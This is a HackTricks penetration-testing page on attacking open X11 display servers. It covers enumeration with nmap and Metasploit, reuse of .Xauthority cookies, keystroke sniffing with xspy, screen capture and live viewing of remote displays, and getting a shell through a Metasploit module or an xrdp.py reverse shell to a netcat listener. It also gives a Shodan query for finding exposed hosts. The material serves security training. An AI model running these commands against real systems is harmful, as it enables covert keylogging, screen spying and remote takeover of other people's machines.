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hacktricks/network-services-pentesting/6000-pentesting-x11.md

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# 6000 - Pentesting X11
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
<figure><img src="../.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
**Hacking Insights**\
Engage with content that delves into the thrill and challenges of hacking
**Real-Time Hack News**\
Keep up-to-date with fast-paced hacking world through real-time news and insights
**Latest Announcements**\
Stay informed with the newest bug bounties launching and crucial platform updates
**Join us on** [**Discord**](https://discord.com/invite/N3FrSbmwdy) and start collaborating with top hackers today!
## Basic Information
**X Window System** (X) is a versatile windowing system prevalent on UNIX-based operating systems. It provides a framework for creating graphical **user interfaces (GUIs)**, with individual programs handling the user interface design. This flexibility allows for diverse and customizable experiences within the X environment.
**Default port:** 6000
```
PORT STATE SERVICE
6000/tcp open X11
```
## Enumeration
Check for **anonymous connection:**
```bash
nmap -sV --script x11-access -p <PORT> <IP>
msf> use auxiliary/scanner/x11/open_x11
```
#### Local Enumeration
The file **`.Xauthority`** in the users home folder is **used** by **X11 for authorization**. From [**here**](https://stackoverflow.com/a/37367518):
```bash
$ xxd ~/.Xauthority
00000000: 0100 0006 6d61 6e65 7063 0001 3000 124d ............0..M
00000010: 4954 2d4d 4147 4943 2d43 4f4f 4b49 452d IT-MAGIC-COOKIE-
00000020: 3100 108f 52b9 7ea8 f041 c49b 85d8 8f58 1...R.~..A.....X
00000030: 041d ef ...
```
> MIT-magic-cookie-1: Generating 128bit of key (“cookie”), storing it in \~/.Xauthority (or where XAUTHORITY envvar points to). The client sends it to server plain! the server checks whether it has a copy of this “cookie” and if so, the connection is permitted. the key is generated by DMX.
{% hint style="warning" %}
In order to **use the cookie** you should set the env var: **`export XAUTHORITY=/path/to/.Xauthority`**
{% endhint %}
#### Local Enumeration Session
```bash
$ w
23:50:48 up 1 day, 10:32, 1 user, load average: 0.29, 6.48, 7.12
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
user tty7 :0 13Oct23 76days 13:37 2.20s xfce4-session
```
In the example, `localhost:0` was running xfce4-session.
## Verfy Connection
```bash
xdpyinfo -display <ip>:<display>
xwininfo -root -tree -display <IP>:<display> #Ex: xwininfo -root -tree -display 10.5.5.12:0
```
## Keyloggin
[xspy](http://tools.kali.org/sniffingspoofing/xspy) to sniff the keyboard keystrokes.
Sample Output:
```
xspy 10.9.xx.xx
opened 10.9.xx.xx:0 for snoopng
swaBackSpaceCaps_Lock josephtTabcBackSpaceShift_L workShift_L 2123
qsaminusKP_Down KP_Begin KP_Down KP_Left KP_Insert TabRightLeftRightDeletebTabDownnTabKP_End KP_Right KP_Up KP_Down KP_Up KP_Up TabmtminusdBackSpacewinTab
```
## Screenshots capturing
```bash
xwd -root -screen -silent -display <TargetIP:0> > screenshot.xwd
convert screenshot.xwd screenshot.png
```
## Remote Desktop View
Way from: [https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref](https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref)
```
./xrdp.py <IP:0>
```
Way from: [https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html](https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html)
First we need to find the ID of the window using xwininfo
```
xwininfo -root -display 10.9.xx.xx:0
xwininfo: Window id: 0x45 (the root window) (has no name)
Absolute upper-left X: 0
Absolute upper-left Y: 0
Relative upper-left X: 0
Relative upper-left Y: 0
Width: 1024
Height: 768
Depth: 16
Visual: 0x21
Visual Class: TrueColor
Border width: 0
Class: InputOutput
Colormap: 0x20 (installed)
Bit Gravity State: ForgetGravity
Window Gravity State: NorthWestGravity
Backing Store State: NotUseful
Save Under State: no
Map State: IsViewable
Override Redirect State: no
Corners: +0+0 -0+0 -0-0 +0-0
-geometry 1024x768+0+0
```
**XWatchwin**
For **live viewing** we need to use
```bash
./xwatchwin [-v] [-u UpdateTime] DisplayName { -w windowID | WindowName } -w window Id is the one found on xwininfo
./xwatchwin 10.9.xx.xx:0 -w 0x45
```
## Get Shell
```
msf> use exploit/unix/x11/x11_keyboard_exec
```
Other way:
**Reverse Shell:** Xrdp also allows to take reverse shell via Netcat. Type in the following command:
```bash
./xrdp.py \<IP:0> –no-disp
```
In the interface you can see the **R-shell option**.
Then, start a **Netcat listener** in your local system on port 5555.
```bash
nc -lvp 5555
```
Then, put your IP address and port in the **R-Shell** option and click on **R-shell** to get a shell
## References
* [https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref](https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref)
* [https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html](https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html)
* [https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref](https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref)
## Shodan
* `port:6000 x11`
<figure><img src="../.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
**Hacking Insights**\
Engage with content that delves into the thrill and challenges of hacking
**Real-Time Hack News**\
Keep up-to-date with fast-paced hacking world through real-time news and insights
**Latest Announcements**\
Stay informed with the newest bug bounties launching and crucial platform updates
**Join us on** [**Discord**](https://discord.com/invite/N3FrSbmwdy) and start collaborating with top hackers today!
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
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